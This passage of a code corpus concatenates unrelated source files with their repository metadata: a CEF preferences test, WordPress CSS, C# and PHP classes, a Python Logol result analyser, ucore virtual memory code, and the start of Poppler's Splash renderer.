// Return the message to the JavaScript caller.
if (success)
callback->Success(message);
else
callback->Failure(kPreferenceApplicationError, message);
}
// Execute |callback| with the global state dictionary as a JSON string.
static void OnPreferencesState(CefRefPtr<CefBrowser> browser,
CefRefPtr<Callback> callback) {
CefRefPtr<CefCommandLine> command_line =
CefCommandLine::GetGlobalCommandLine();
CefRefPtr<CefDictionaryValue> dict = CefDictionaryValue::Create();
// If spell checking is disabled via the command-line then it cannot be
// enabled via preferences.
dict->SetBool("spellcheck_disabled",
command_line->HasSwitch("disable-spell-checking"));
// If proxy settings are configured via the command-line then they cannot
// be modified via preferences.
dict->SetBool("proxy_configured",
command_line->HasSwitch("no-proxy-server") ||
command_line->HasSwitch("proxy-auto-detect") ||
command_line->HasSwitch("proxy-pac-url") ||
command_line->HasSwitch("proxy-server"));
// If allow running insecure content is enabled via the command-line then it
// cannot be enabled via preferences.
dict->SetBool("allow_running_insecure_content",
command_line->HasSwitch("allow-running-insecure-content"));
// Serialize the state to JSON and return to the JavaScript caller.
callback->Success(GetJSON(dict));
}
// Convert a JSON string to a dictionary value.
static CefRefPtr<CefDictionaryValue> ParseJSON(const CefString& string) {
CefRefPtr<CefValue> value = CefParseJSON(string, JSON_PARSER_RFC);
if (value.get() && value->GetType() == VTYPE_DICTIONARY)
return value->GetDictionary();
return NULL;
}
// Convert a dictionary value to a JSON string.
static CefString GetJSON(CefRefPtr<CefDictionaryValue> dictionary) {
CefRefPtr<CefValue> value = CefValue::Create();
value->SetDictionary(dictionary);
return CefWriteJSON(value, JSON_WRITER_DEFAULT);
}
// Verify that |key| exists in |dictionary| and has type |value_type|. Fails
// |callback| and returns false on failure.
static bool VerifyKey(CefRefPtr<CefDictionaryValue> dictionary,
const char* key,
cef_value_type_t value_type,
CefRefPtr<Callback> callback) {
if (!dictionary->HasKey(key) || dictionary->GetType(key) != value_type) {
callback->Failure(kMessageFormatError,
"Missing or incorrectly formatted message key: " +
std::string(key));
return false;
}
return true;
}
// Apply preferences. Returns true on success. Returns false and sets |error|
// to a descriptive error string on failure. |changed_names| is the list of
// preferences that were successfully changed.
static bool ApplyPrefs(CefRefPtr<CefRequestContext> context,
const std::string& name,
CefRefPtr<CefValue> value,
std::string& error,
NameVector& changed_names) {
if (!name.empty() && context->HasPreference(name)) {
// The preference exists. Set the value.
return SetPref(context, name, value, error, changed_names);
}
if (value->GetType() == VTYPE_DICTIONARY) {
// A dictionary type value that is not an existing preference. Try to set
// each of the elements individually.
CefRefPtr<CefDictionaryValue> dict = value->GetDictionary();
CefDictionaryValue::KeyList keys;
dict->GetKeys(keys);
for (size_t i = 0; i < keys.size(); ++i) {
const std::string& key = keys[i];
const std::string& current_name =
name.empty() ? key : name + "." + key;
if (!ApplyPrefs(context, current_name, dict->GetValue(key), error,
changed_names)) {
return false;
}
}
return true;
}
error = "Trying to create an unregistered preference: " + name;
return false;
}
// Set a specific preference value. Returns true if the value is set
// successfully or has not changed. If the value has changed then |name| will
// be added to |changed_names|. Returns false and sets |error| to a
// descriptive error string on failure.
static bool SetPref(CefRefPtr<CefRequestContext> context,
const std::string& name,
CefRefPtr<CefValue> value,
std::string& error,
NameVector& changed_names) {
CefRefPtr<CefValue> existing_value = context->GetPreference(name);
DCHECK(existing_value);
if (value->GetType() == VTYPE_STRING &&
existing_value->GetType() != VTYPE_STRING) {
// Since |value| is coming from JSON all basic types will be represented
// as strings. Convert to the expected data type.
const std::string& string_val = value->GetString();
switch (existing_value->GetType()) {
case VTYPE_BOOL:
if (string_val == "true" || string_val == "1")
value->SetBool(true);
else if (string_val == "false" || string_val == "0")
value->SetBool(false);
break;
case VTYPE_INT:
value->SetInt(atoi(string_val.c_str()));
break;
case VTYPE_DOUBLE:
value->SetInt(atof(string_val.c_str()));
break;
default:
// Other types cannot be converted.
break;
}
}
// Nothing to do if the value hasn't changed.
if (existing_value->IsEqual(value))
return true;
// Attempt to set the preference.
CefString error_str;
if (!context->SetPreference(name, value, error_str)) {
error = error_str.ToString() + ": " + name;
return false;
}
// The preference was set successfully.
changed_names.push_back(name);
return true;
}
DISALLOW_COPY_AND_ASSIGN(Handler);
};
} // namespace
void CreateMessageHandlers(test_runner::MessageHandlerSet& handlers) {
handlers.insert(new Handler());
}
} // namespace preferences_test
} // namespace client
|
arkenthera/ChiikaCef
|
Chiika/browser/preferences_test.cc
|
C++
|
gpl-2.0
| 11,565
|
/*
* Theme Name: aisshop
*
* Layout: Content-Sidebar
*
* Learn more: https://developer.wordpress.org/themes/basics/template-files/
*/
.content-area {
float: left;
margin: 0 -25% 0 0;
width: 100%;
}
.site-main {
margin: 0 25% 0 0;
}
.site-content .widget-area {
float: right;
overflow: hidden;
width: 25%;
}
.site-footer {
clear: both;
width: 100%;
}
|
GoshanFloyd/aisshop
|
wp-content/themes/aisshop/layouts/content-sidebar.css
|
CSS
|
gpl-2.0
| 364
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.Serialization;
using System.Text;
using System.Threading.Tasks;
namespace AutomationService.Data.DynamicDataItem
{
public delegate void LogMessageFn(String xsMessage);
[DataContract]
public class ExecutionJobEnvironment
{
// Visible for debugging
public Stack<DataItemComposite> aoDataStack;
// Debugging
public List<DataItemComposite> aoDebuggingStack;
// Logging messages
public LogMessageFn oLogMessage;
public ExecutionJobEnvironment(LogMessageFn xoLoggingFunction)
{
oLogMessage = xoLoggingFunction;
aoDataStack = new Stack<DataItemComposite>();
aoDebuggingStack = new List<DataItemComposite>();
}
public void PushDataContainer(DataItemComposite xoContainer)
{
aoDataStack.Push(xoContainer);
aoDebuggingStack.Add(xoContainer);
}
public DataItemComposite PeekDataContainer()
{
return aoDataStack.Peek();
}
public DataItemComposite PopDataContainer()
{
return aoDataStack.Pop();
}
}
}
|
Aegz/AutomationSuite
|
AutomationBackEnd/Data/DynamicDataItem/ExecutionJobEnvironment.cs
|
C#
|
gpl-2.0
| 1,236
|
<?php
if($mylayout == 'empty')
include('emptypage-layout.php');
if( $mylayout == 'blankempty')
include('blankemptypage-layout.php');
if($mylayout == 'client')
include('client-layout.php');
?>
|
narasimha99/medbid
|
wp-content/plugins/networklocum/app/views/layouts/public.php
|
PHP
|
gpl-2.0
| 196
|
<?php
namespace ascio\v3;
class PollQueue
{
/**
* @var PollQueueRequest $request
*/
protected $request = null;
/**
* @param PollQueueRequest $request
*/
public function __construct($request)
{
$this->request = $request;
}
/**
* @return PollQueueRequest
*/
public function getRequest()
{
return $this->request;
}
/**
* @param PollQueueRequest $request
* @return \ascio\v3\PollQueue
*/
public function setRequest($request)
{
$this->request = $request;
return $this;
}
}
|
rendermani/ascio-php-examples
|
aws-v3/service/PollQueue.php
|
PHP
|
gpl-2.0
| 639
|
# -*- coding: utf-8 -*-
"""
logol_analyse provide some analyse tools for logol xml results.
Without any option, it will provide the number of hit, how many sequences have
at least one hit, and a graph with the repartition of the hits.
Usage:
logol_analyse.py <input> <data> [options]
options:
--graph, -g=<name> The graph name, to save it directly.
--help, -h It call help. UNBELIEVABLE!!!!!
--nograph -n No graph creation
--origin, -o INT The 0 emplacement on sequences [default: 150]
--position -p=<name> Return a file containing position of each motif
--result -r=<name> Save a fasta file with the matched sequences.
--signature, -s=<name> Create a file with for each sequences the hits.
--hits, -t Display a hits/sequences graph.
--version, -v Maybe it's a trap ^^
--xclude, -x=<name> Create a file containing all unmatched sequences
"""
##########
# IMPORT #
##########
import matplotlib.pyplot as plt
import pylab
import glob
import os
from docopt import docopt
from lxml import etree
from Bio import SeqIO
#############
# ARGUMENTS #
#############
if __name__ == '__main__':
arguments = docopt(__doc__, version = '1.3')
########
# MAIN #
########
def __main__(arguments):
total = 0
count = 0
hit = []
se = set() # Contain sequences header
hits_per_seq = []
# Here we check all the .xml file
for f in glob.glob(os.getcwd()+"/"+arguments['<input>']+"*.xml"):
nb_hit = 0
total += 1
tree = etree.parse(f)
# Collect of the hit beginning and ID
for seq in tree.xpath("/sequences/match/begin"):
count += 1
nb_hit +=1
hit.append(int(seq.text)-int(arguments['--origin']))
[se.add(a.text) for a in tree.xpath("/sequences/fastaHeader")]
if nb_hit > 0:
hits_per_seq.append(nb_hit)
print("Nombre de hits: "+str(count))
print("Nombre de séquences touchées: "+str(len(se))+" sur "+str(total))
print("Nombre max de hits par séquences: "+str(max(hits_per_seq)))
if arguments['--result'] != None:
seq_match(se)
if arguments['--xclude'] != None:
seq_no_match(se)
if arguments['--nograph'] == False:
graph(hit)
if arguments['--signature'] != None:
save_signature()
if arguments['--position'] != None:
save_position()
if arguments['--hits'] != False:
display_hits(hits_per_seq)
#############
# FUNCTIONS #
#############
def seq_match(seq):
out = open(os.getcwd()+'/'+arguments['--result'], 'w')
data = open(os.getcwd()+'/'+arguments['<data>'], "rU")
for s in SeqIO.parse(data, "fasta"):
if s.id in seq:
out.write(s.format("fasta"))
out.close()
data.close()
def seq_no_match(seq):
out = open(os.getcwd()+'/'+arguments['--xclude'], 'w')
data = open(os.getcwd()+'/'+arguments['<data>'], "rU")
for s in SeqIO.parse(data, "fasta"):
if s.id not in seq:
out.write(s.format("fasta"))
out.close()
data.close()
def graph(hit):
plt.hist(hit, range(min(hit), max(hit)))
plt.xticks(range(min(hit), max(hit), 10))
plt.xlabel("Emplacement des hits sur les séquences")
plt.ylabel("Nombre de hits")
if arguments['--graph'] != None:
plt.savefig(arguments['--graph']+'.png')
pylab.close()
else:
plt.show()
def save_signature():
sign = open(os.getcwd()+'/'+arguments['--signature'], 'w')
for f in glob.glob(os.getcwd()+"/"+arguments['<input>']+"*"):
fr = [] # Will have the last char of var, which is frag nb
c = 0
tree = etree.parse(f)
if tree.xpath("/sequences/match/variable") != []:
[sign.write('>'+h.text+'\n') for h in tree.xpath("/sequences/fastaHeader")]
[fr.append((int(i.get("name")[-1]))) for i in tree.xpath("/sequences/match/variable")]
m = max(fr) # Fragments number to have the complete match
for i in tree.xpath("/sequences/match/variable/content"):
c += 1
sign.write(i.text)
if c >= m:
sign.write("\n")
c = 0
sign.close()
def save_position():
begin = [] # Will contain all the begining number
end = []
seq = [] # Will contain all the sequences found
iD = [] # Will contair the sequences ID
n = 0 # nb of line we will have to write
i = 0
pos = open(os.getcwd()+'/'+arguments['--position'], 'w')
pos.write("ID\tbegin\tsequence\tend\n")
for f in glob.glob(os.getcwd()+"/"+arguments['<input>']+"*"):
tree = etree.parse(f)
for s in tree.xpath("/sequences/match/variable/content"):
n += 1
seq.append(s.text)
[iD.append(h.text) for h in tree.xpath("/sequences/fastaHeader")]
for b in tree.xpath("/sequences/match/variable/begin"):
begin.append(str(b.text))
for e in tree.xpath("/sequences/match/variable/end"):
end.append(str(e.text))
# Now, we write those info into the file
while i < n:
pos.write(iD[i]+"\t"+begin[i]+"\t"+seq[i]+"\t"+end[i]+"\n")
i += 1
pos.close()
def display_hits(hits_per_seq):
plt.hist(hits_per_seq, range(min(hits_per_seq), max(hits_per_seq)))
plt.xticks(range(min(hits_per_seq), max(hits_per_seq), 1))
plt.xlabel("Nombre de hits par séquences")
plt.ylabel("Nombre de séquences")
plt.show()
##########
# LAUNCH #
##########
__main__(arguments)
|
Nedgang/logol_analyse
|
analyse_logol.py
|
Python
|
gpl-2.0
| 5,660
|
#include <vmm.h>
#include <sync.h>
#include <string.h>
#include <assert.h>
#include <stdio.h>
#include <error.h>
#include <pmm.h>
#include <x86.h>
#include <swap.h>
#include <kmalloc.h>
/*
vmm design include two parts: mm_struct (mm) & vma_struct (vma)
mm is the memory manager for the set of continuous virtual memory
area which have the same PDT. vma is a continuous virtual memory area.
There a linear link list for vma & a redblack link list for vma in mm.
---------------
mm related functions:
golbal functions
struct mm_struct * mm_create(void)
void mm_destroy(struct mm_struct *mm)
int do_pgfault(struct mm_struct *mm, uint32_t error_code, uintptr_t addr)
--------------
vma related functions:
global functions
struct vma_struct * vma_create (uintptr_t vm_start, uintptr_t vm_end,...)
void insert_vma_struct(struct mm_struct *mm, struct vma_struct *vma)
struct vma_struct * find_vma(struct mm_struct *mm, uintptr_t addr)
local functions
inline void check_vma_overlap(struct vma_struct *prev, struct vma_struct *next)
---------------
check correctness functions
void check_vmm(void);
void check_vma_struct(void);
void check_pgfault(void);
*/
static void check_vmm(void);
static void check_vma_struct(void);
static void check_pgfault(void);
// mm_create - alloc a mm_struct & initialize it.
struct mm_struct *
mm_create(void) {
struct mm_struct *mm = kmalloc(sizeof(struct mm_struct));
if (mm != NULL) {
list_init(&(mm->mmap_list));
mm->mmap_cache = NULL;
mm->pgdir = NULL;
mm->map_count = 0;
if (swap_init_ok) swap_init_mm(mm);
else mm->sm_priv = NULL;
set_mm_count(mm, 0);
sem_init(&(mm->mm_sem), 1);
}
return mm;
}
// vma_create - alloc a vma_struct & initialize it. (addr range: vm_start~vm_end)
struct vma_struct *
vma_create(uintptr_t vm_start, uintptr_t vm_end, uint32_t vm_flags) {
struct vma_struct *vma = kmalloc(sizeof(struct vma_struct));
if (vma != NULL) {
vma->vm_start = vm_start;
vma->vm_end = vm_end;
vma->vm_flags = vm_flags;
}
return vma;
}
// find_vma - find a vma (vma->vm_start <= addr <= vma_vm_end)
struct vma_struct *
find_vma(struct mm_struct *mm, uintptr_t addr) {
struct vma_struct *vma = NULL;
if (mm != NULL) {
vma = mm->mmap_cache;
if (!(vma != NULL && vma->vm_start <= addr && vma->vm_end > addr)) {
bool found = 0;
list_entry_t *list = &(mm->mmap_list), *le = list;
while ((le = list_next(le)) != list) {
vma = le2vma(le, list_link);
if (vma->vm_start<=addr && addr < vma->vm_end) {
found = 1;
break;
}
}
if (!found) {
vma = NULL;
}
}
if (vma != NULL) {
mm->mmap_cache = vma;
}
}
return vma;
}
// check_vma_overlap - check if vma1 overlaps vma2 ?
static inline void
check_vma_overlap(struct vma_struct *prev, struct vma_struct *next) {
assert(prev->vm_start < prev->vm_end);
assert(prev->vm_end <= next->vm_start);
assert(next->vm_start < next->vm_end);
}
// insert_vma_struct -insert vma in mm's list link
void
insert_vma_struct(struct mm_struct *mm, struct vma_struct *vma) {
assert(vma->vm_start < vma->vm_end);
list_entry_t *list = &(mm->mmap_list);
list_entry_t *le_prev = list, *le_next;
list_entry_t *le = list;
while ((le = list_next(le)) != list) {
struct vma_struct *mmap_prev = le2vma(le, list_link);
if (mmap_prev->vm_start > vma->vm_start) {
break;
}
le_prev = le;
}
le_next = list_next(le_prev);
/* check overlap */
if (le_prev != list) {
check_vma_overlap(le2vma(le_prev, list_link), vma);
}
if (le_next != list) {
check_vma_overlap(vma, le2vma(le_next, list_link));
}
vma->vm_mm = mm;
list_add_after(le_prev, &(vma->list_link));
mm->map_count ++;
}
// mm_destroy - free mm and mm internal fields
void
mm_destroy(struct mm_struct *mm) {
assert(mm_count(mm) == 0);
list_entry_t *list = &(mm->mmap_list), *le;
while ((le = list_next(list)) != list) {
list_del(le);
kfree(le2vma(le, list_link)); //kfree vma
}
kfree(mm); //kfree mm
mm=NULL;
}
int
mm_map(struct mm_struct *mm, uintptr_t addr, size_t len, uint32_t vm_flags,
struct vma_struct **vma_store) {
uintptr_t start = ROUNDDOWN(addr, PGSIZE), end = ROUNDUP(addr + len, PGSIZE);
if (!USER_ACCESS(start, end)) {
return -E_INVAL;
}
assert(mm != NULL);
int ret = -E_INVAL;
struct vma_struct *vma;
if ((vma = find_vma(mm, start)) != NULL && end > vma->vm_start) {
goto out;
}
ret = -E_NO_MEM;
if ((vma = vma_create(start, end, vm_flags)) == NULL) {
goto out;
}
insert_vma_struct(mm, vma);
if (vma_store != NULL) {
*vma_store = vma;
}
ret = 0;
out:
return ret;
}
int
dup_mmap(struct mm_struct *to, struct mm_struct *from) {
assert(to != NULL && from != NULL);
list_entry_t *list = &(from->mmap_list), *le = list;
while ((le = list_prev(le)) != list) {
struct vma_struct *vma, *nvma;
vma = le2vma(le, list_link);
nvma = vma_create(vma->vm_start, vma->vm_end, vma->vm_flags);
if (nvma == NULL) {
return -E_NO_MEM;
}
insert_vma_struct(to, nvma);
bool share = 0;
if (copy_range(to->pgdir, from->pgdir, vma->vm_start, vma->vm_end, share) != 0) {
return -E_NO_MEM;
}
}
return 0;
}
void
exit_mmap(struct mm_struct *mm) {
assert(mm != NULL && mm_count(mm) == 0);
pde_t *pgdir = mm->pgdir;
list_entry_t *list = &(mm->mmap_list), *le = list;
while ((le = list_next(le)) != list) {
struct vma_struct *vma = le2vma(le, list_link);
unmap_range(pgdir, vma->vm_start, vma->vm_end);
}
while ((le = list_next(le)) != list) {
struct vma_struct *vma = le2vma(le, list_link);
exit_range(pgdir, vma->vm_start, vma->vm_end);
}
}
bool
copy_from_user(struct mm_struct *mm, void *dst, const void *src, size_t len, bool writable) {
if (!user_mem_check(mm, (uintptr_t)src, len, writable)) {
return 0;
}
memcpy(dst, src, len);
return 1;
}
bool
copy_to_user(struct mm_struct *mm, void *dst, const void *src, size_t len) {
if (!user_mem_check(mm, (uintptr_t)dst, len, 1)) {
return 0;
}
memcpy(dst, src, len);
return 1;
}
// vmm_init - initialize virtual memory management
// - now just call check_vmm to check correctness of vmm
void
vmm_init(void) {
check_vmm();
}
// check_vmm - check correctness of vmm
static void
check_vmm(void) {
size_t nr_free_pages_store = nr_free_pages();
check_vma_struct();
check_pgfault();
cprintf("check_vmm() succeeded.\n");
}
static void
check_vma_struct(void) {
size_t nr_free_pages_store = nr_free_pages();
struct mm_struct *mm = mm_create();
assert(mm != NULL);
int step1 = 10, step2 = step1 * 10;
int i;
for (i = step1; i >= 1; i --) {
struct vma_struct *vma = vma_create(i * 5, i * 5 + 2, 0);
assert(vma != NULL);
insert_vma_struct(mm, vma);
}
for (i = step1 + 1; i <= step2; i ++) {
struct vma_struct *vma = vma_create(i * 5, i * 5 + 2, 0);
assert(vma != NULL);
insert_vma_struct(mm, vma);
}
list_entry_t *le = list_next(&(mm->mmap_list));
for (i = 1; i <= step2; i ++) {
assert(le != &(mm->mmap_list));
struct vma_struct *mmap = le2vma(le, list_link);
assert(mmap->vm_start == i * 5 && mmap->vm_end == i * 5 + 2);
le = list_next(le);
}
for (i = 5; i <= 5 * step2; i +=5) {
struct vma_struct *vma1 = find_vma(mm, i);
assert(vma1 != NULL);
struct vma_struct *vma2 = find_vma(mm, i+1);
assert(vma2 != NULL);
struct vma_struct *vma3 = find_vma(mm, i+2);
assert(vma3 == NULL);
struct vma_struct *vma4 = find_vma(mm, i+3);
assert(vma4 == NULL);
struct vma_struct *vma5 = find_vma(mm, i+4);
assert(vma5 == NULL);
assert(vma1->vm_start == i && vma1->vm_end == i + 2);
assert(vma2->vm_start == i && vma2->vm_end == i + 2);
}
for (i =4; i>=0; i--) {
struct vma_struct *vma_below_5= find_vma(mm,i);
if (vma_below_5 != NULL ) {
cprintf("vma_below_5: i %x, start %x, end %x\n",i, vma_below_5->vm_start, vma_below_5->vm_end);
}
assert(vma_below_5 == NULL);
}
mm_destroy(mm);
cprintf("check_vma_struct() succeeded!\n");
}
struct mm_struct *check_mm_struct;
// check_pgfault - check correctness of pgfault handler
static void
check_pgfault(void) {
size_t nr_free_pages_store = nr_free_pages();
check_mm_struct = mm_create();
assert(check_mm_struct != NULL);
struct mm_struct *mm = check_mm_struct;
pde_t *pgdir = mm->pgdir = boot_pgdir;
assert(pgdir[0] == 0);
struct vma_struct *vma = vma_create(0, PTSIZE, VM_WRITE);
assert(vma != NULL);
insert_vma_struct(mm, vma);
uintptr_t addr = 0x100;
assert(find_vma(mm, addr) == vma);
int i, sum = 0;
for (i = 0; i < 100; i ++) {
*(char *)(addr + i) = i;
sum += i;
}
for (i = 0; i < 100; i ++) {
sum -= *(char *)(addr + i);
}
assert(sum == 0);
page_remove(pgdir, ROUNDDOWN(addr, PGSIZE));
free_page(pde2page(pgdir[0]));
pgdir[0] = 0;
mm->pgdir = NULL;
mm_destroy(mm);
check_mm_struct = NULL;
assert(nr_free_pages_store == nr_free_pages());
cprintf("check_pgfault() succeeded!\n");
}
//page fault number
volatile unsigned int pgfault_num=0;
/* do_pgfault - interrupt handler to process the page fault execption
* @mm : the control struct for a set of vma using the same PDT
* @error_code : the error code recorded in trapframe->tf_err which is setted by x86 hardware
* @addr : the addr which causes a memory access exception, (the contents of the CR2 register)
*
* CALL GRAPH: trap--> trap_dispatch-->pgfault_handler-->do_pgfault
* The processor provides ucore's do_pgfault function with two items of information to aid in diagnosing
* the exception and recovering from it.
* (1) The contents of the CR2 register. The processor loads the CR2 register with the
* 32-bit linear address that generated the exception. The do_pgfault fun can
* use this address to locate the corresponding page directory and page-table
* entries.
* (2) An error code on the kernel stack. The error code for a page fault has a format different from
* that for other exceptions. The error code tells the exception handler three things:
* -- The P flag (bit 0) indicates whether the exception was due to a not-present page (0)
* or to either an access rights violation or the use of a reserved bit (1).
* -- The W/R flag (bit 1) indicates whether the memory access that caused the exception
* was a read (0) or write (1).
* -- The U/S flag (bit 2) indicates whether the processor was executing at user mode (1)
* or supervisor mode (0) at the time of the exception.
*/
int
do_pgfault(struct mm_struct *mm, uint32_t error_code, uintptr_t addr) {
int ret = -E_INVAL;
//try to find a vma which include addr
struct vma_struct *vma = find_vma(mm, addr);
pgfault_num++;
//If the addr is in the range of a mm's vma?
if (vma == NULL || vma->vm_start > addr) {
cprintf("not valid addr %x, and can not find it in vma\n", addr);
goto failed;
}
//check the error_code
switch (error_code & 3) {
default:
/* error code flag : default is 3 ( W/R=1, P=1): write, present */
case 2: /* error code flag : (W/R=1, P=0): write, not present */
if (!(vma->vm_flags & VM_WRITE)) {
cprintf("do_pgfault failed: error code flag = write AND not present, but the addr's vma cannot write\n");
goto failed;
}
break;
case 1: /* error code flag : (W/R=0, P=1): read, present */
cprintf("do_pgfault failed: error code flag = read AND present\n");
goto failed;
case 0: /* error code flag : (W/R=0, P=0): read, not present */
if (!(vma->vm_flags & (VM_READ | VM_EXEC))) {
cprintf("do_pgfault failed: error code flag = read AND not present, but the addr's vma cannot read or exec\n");
goto failed;
}
}
/* IF (write an existed addr ) OR
* (write an non_existed addr && addr is writable) OR
* (read an non_existed addr && addr is readable)
* THEN
* continue process
*/
uint32_t perm = PTE_U;
if (vma->vm_flags & VM_WRITE) {
perm |= PTE_W;
}
addr = ROUNDDOWN(addr, PGSIZE);
ret = -E_NO_MEM;
pte_t *ptep=NULL;
/*LAB3 EXERCISE 1: 2013011326
* Maybe you want help comment, BELOW comments can help you finish the code
*
* Some Useful MACROs and DEFINEs, you can use them in below implementation.
* MACROs or Functions:
* get_pte : get an pte and return the kernel virtual address of this pte for la
* if the PT contians this pte didn't exist, alloc a page for PT (notice the 3th parameter '1')
* pgdir_alloc_page : call alloc_page & page_insert functions to allocate a page size memory & setup
* an addr map pa<--->la with linear address la and the PDT pgdir
* DEFINES:
* VM_WRITE : If vma->vm_flags & VM_WRITE == 1/0, then the vma is writable/non writable
* PTE_W 0x002 // page table/directory entry flags bit : Writeable
* PTE_U 0x004 // page table/directory entry flags bit : User can access
* VARIABLES:
* mm->pgdir : the PDT of these vma
*
*/
#if 0
/*LAB3 EXERCISE 1: 2013011326*/
ptep = ??? //(1) try to find a pte, if pte's PT(Page Table) isn't existed, then create a PT.
if (*ptep == 0) {
//(2) if the phy addr isn't exist, then alloc a page & map the phy addr with logical addr
}
else {
/*LAB3 EXERCISE 2: 2013011326
* Now we think this pte is a swap entry, we should load data from disk to a page with phy addr,
* and map the phy addr with logical addr, trigger swap manager to record the access situation of this page.
*
* Some Useful MACROs and DEFINEs, you can use them in below implementation.
* MACROs or Functions:
* swap_in(mm, addr, &page) : alloc a memory page, then according to the swap entry in PTE for addr,
* find the addr of disk page, read the content of disk page into this memroy page
* page_insert : build the map of phy addr of an Page with the linear addr la
* swap_map_swappable : set the page swappable
*/
/*
* LAB5 CHALLENGE ( the implmentation Copy on Write)
There are 2 situlations when code comes here.
1) *ptep & PTE_P == 1, it means one process try to write a readonly page.
If the vma includes this addr is writable, then we can set the page writable by rewrite the *ptep.
This method could be used to implement the Copy on Write (COW) thchnology(a fast fork process method).
2) *ptep & PTE_P == 0 & but *ptep!=0, it means this pte is a swap entry.
We should add the LAB3's results here.
*/
if(swap_init_ok) {
struct Page *page=NULL;
//(1)According to the mm AND addr, try to load the content of right disk page
// into the memory which page managed.
//(2) According to the mm, addr AND page, setup the map of phy addr <---> logical addr
//(3) make the page swappable.
//(4) [NOTICE]: you myabe need to update your lab3's implementation for LAB5's normal execution.
}
else {
cprintf("no swap_init_ok but ptep is %x, failed\n",*ptep);
goto failed;
}
}
#endif
if ((ptep = get_pte(mm->pgdir, addr, 1)) == NULL) {
cprintf("get_pte in do_pgfault failed\n");
goto failed;
}
if (*ptep == 0) { // if the phy addr isn't exist, then alloc a page & map the phy addr with logical addr
if (pgdir_alloc_page(mm->pgdir, addr, perm) == NULL) {
cprintf("pgdir_alloc_page in do_pgfault failed\n");
goto failed;
}
}
else {
struct Page *page=NULL;
cprintf("do pgfault: ptep %x, pte %x\n",ptep, *ptep);
if (*ptep & PTE_P) {
panic("error write a non-writable pte");
} else{
if(swap_init_ok) {
if ((ret = swap_in(mm, addr, &page)) != 0) {
cprintf("swap_in in do_pgfault failed\n");
goto failed;
}
}
else {
cprintf("no swap_init_ok but ptep is %x, failed\n",*ptep);
goto failed;
}
}
page_insert(mm->pgdir, page, addr, perm);
swap_map_swappable(mm, addr, page, 1);
}
ret = 0;
failed:
return ret;
}
bool
user_mem_check(struct mm_struct *mm, uintptr_t addr, size_t len, bool write) {
if (mm != NULL) {
if (!USER_ACCESS(addr, addr + len)) {
return 0;
}
struct vma_struct *vma;
uintptr_t start = addr, end = addr + len;
while (start < end) {
if ((vma = find_vma(mm, start)) == NULL || start < vma->vm_start) {
return 0;
}
if (!(vma->vm_flags & ((write) ? VM_WRITE : VM_READ))) {
return 0;
}
if (write && (vma->vm_flags & VM_STACK)) {
if (start < vma->vm_start + PGSIZE) { //check stack start & size
return 0;
}
}
start = vma->vm_end;
}
return 1;
}
return KERN_ACCESS(addr, addr + len);
}
|
ZhouDavid/os-lab
|
labcodes/lab7/kern/mm/vmm.c
|
C
|
gpl-2.0
| 18,461
|
//========================================================================
//
// SplashOutputDev.cc
//
// Copyright 2003 Glyph & Cog, LLC
//
//========================================================================
//========================================================================
//
// Modified under the Poppler project - http://poppler.freedesktop.org
//
// All changes made under the Poppler project to this file are licensed
// under GPL version 2 or later
//
// Copyright (C) 2005 Takashi Iwai <tiwai@suse.de>
// Copyright (C) 2006 Stefan Schweizer <genstef@gentoo.org>
// Copyright (C) 2006-2014 Albert Astals Cid <aacid@kde.org>
// Copyright (C) 2006 Krzysztof Kowalczyk <kkowalczyk@gmail.com>
// Copyright (C) 2006 Scott Turner <scotty1024@mac.com>
// Copyright (C) 2007 Koji Otani <sho@bbr.jp>
// Copyright (C) 2009 Petr Gajdos <pgajdos@novell.com>
// Copyright (C) 2009-2014 Thomas Freitag <Thomas.Freitag@alfa.de>
// Copyright (C) 2009 Carlos Garcia Campos <carlosgc@gnome.org>
// Copyright (C) 2009 William Bader <williambader@hotmail.com>
// Copyright (C) 2010 Patrick Spendrin <ps_ml@gmx.de>
// Copyright (C) 2010 Brian Cameron <brian.cameron@oracle.com>
// Copyright (C) 2010 Paweł Wiejacha <pawel.wiejacha@gmail.com>
// Copyright (C) 2010 Christian Feuersänger <cfeuersaenger@googlemail.com>
// Copyright (C) 2011 Andreas Hartmetz <ahartmetz@gmail.com>
// Copyright (C) 2011 Andrea Canciani <ranma42@gmail.com>
// Copyright (C) 2011, 2012 Adrian Johnson <ajohnson@redneon.com>
// Copyright (C) 2013 Lu Wang <coolwanglu@gmail.com>
// Copyright (C) 2013 Li Junling <lijunling@sina.com>
// Copyright (C) 2014 Ed Porras <ed@moto-research.com>
//
// To see a description of the changes please see the Changelog file that
// came with your tarball or type make ChangeLog if you are building from git
//
//========================================================================
#include <config.h>
#ifdef USE_GCC_PRAGMAS
#pragma implementation
#endif
#include <string.h>
#include <math.h>
#include "goo/gfile.h"
#include "GlobalParams.h"
#include "Error.h"
#include "Object.h"
#include "Gfx.h"
#include "GfxFont.h"
#include "Page.h"
#include "PDFDoc.h"
#include "Link.h"
#include "FontEncodingTables.h"
#include "fofi/FoFiTrueType.h"
#include "splash/SplashBitmap.h"
#include "splash/SplashGlyphBitmap.h"
#include "splash/SplashPattern.h"
#include "splash/SplashScreen.h"
#include "splash/SplashPath.h"
#include "splash/SplashState.h"
#include "splash/SplashErrorCodes.h"
#include "splash/SplashFontEngine.h"
#include "splash/SplashFont.h"
#include "splash/SplashFontFile.h"
#include "splash/SplashFontFileID.h"
#include "splash/Splash.h"
#include "SplashOutputDev.h"
#ifdef VMS
#if (__VMS_VER < 70000000)
extern "C" int unlink(char *filename);
#endif
#endif
#ifdef _MSC_VER
#include <float.h>
#define isfinite(x) _finite(x)
#endif
#ifdef __sun
#include <ieeefp.h>
#define isfinite(x) finite(x)
#endif
static inline void convertGfxColor(SplashColorPtr dest,
SplashColorMode colorMode,
GfxColorSpace *colorSpace,
GfxColor *src) {
SplashColor color;
GfxGray gray;
GfxRGB rgb;
#if SPLASH_CMYK
GfxCMYK cmyk;
GfxColor deviceN;
#endif
// make gcc happy
color[0] = color[1] = color[2] = 0;
#if SPLASH_CMYK
color[3] = 0;
#endif
switch (colorMode) {
case splashModeMono1:
case splashModeMono8:
colorSpace->getGray(src, &gray);
color[0] = colToByte(gray);
break;
case splashModeXBGR8:
color[3] = 255;
case splashModeBGR8:
case splashModeRGB8:
colorSpace->getRGB(src, &rgb);
color[0] = colToByte(rgb.r);
color[1] = colToByte(rgb.g);
color[2] = colToByte(rgb.b);
break;
#if SPLASH_CMYK
case splashModeCMYK8:
colorSpace->getCMYK(src, &cmyk);
color[0] = colToByte(cmyk.c);
color[1] = colToByte(cmyk.m);
color[2] = colToByte(cmyk.y);
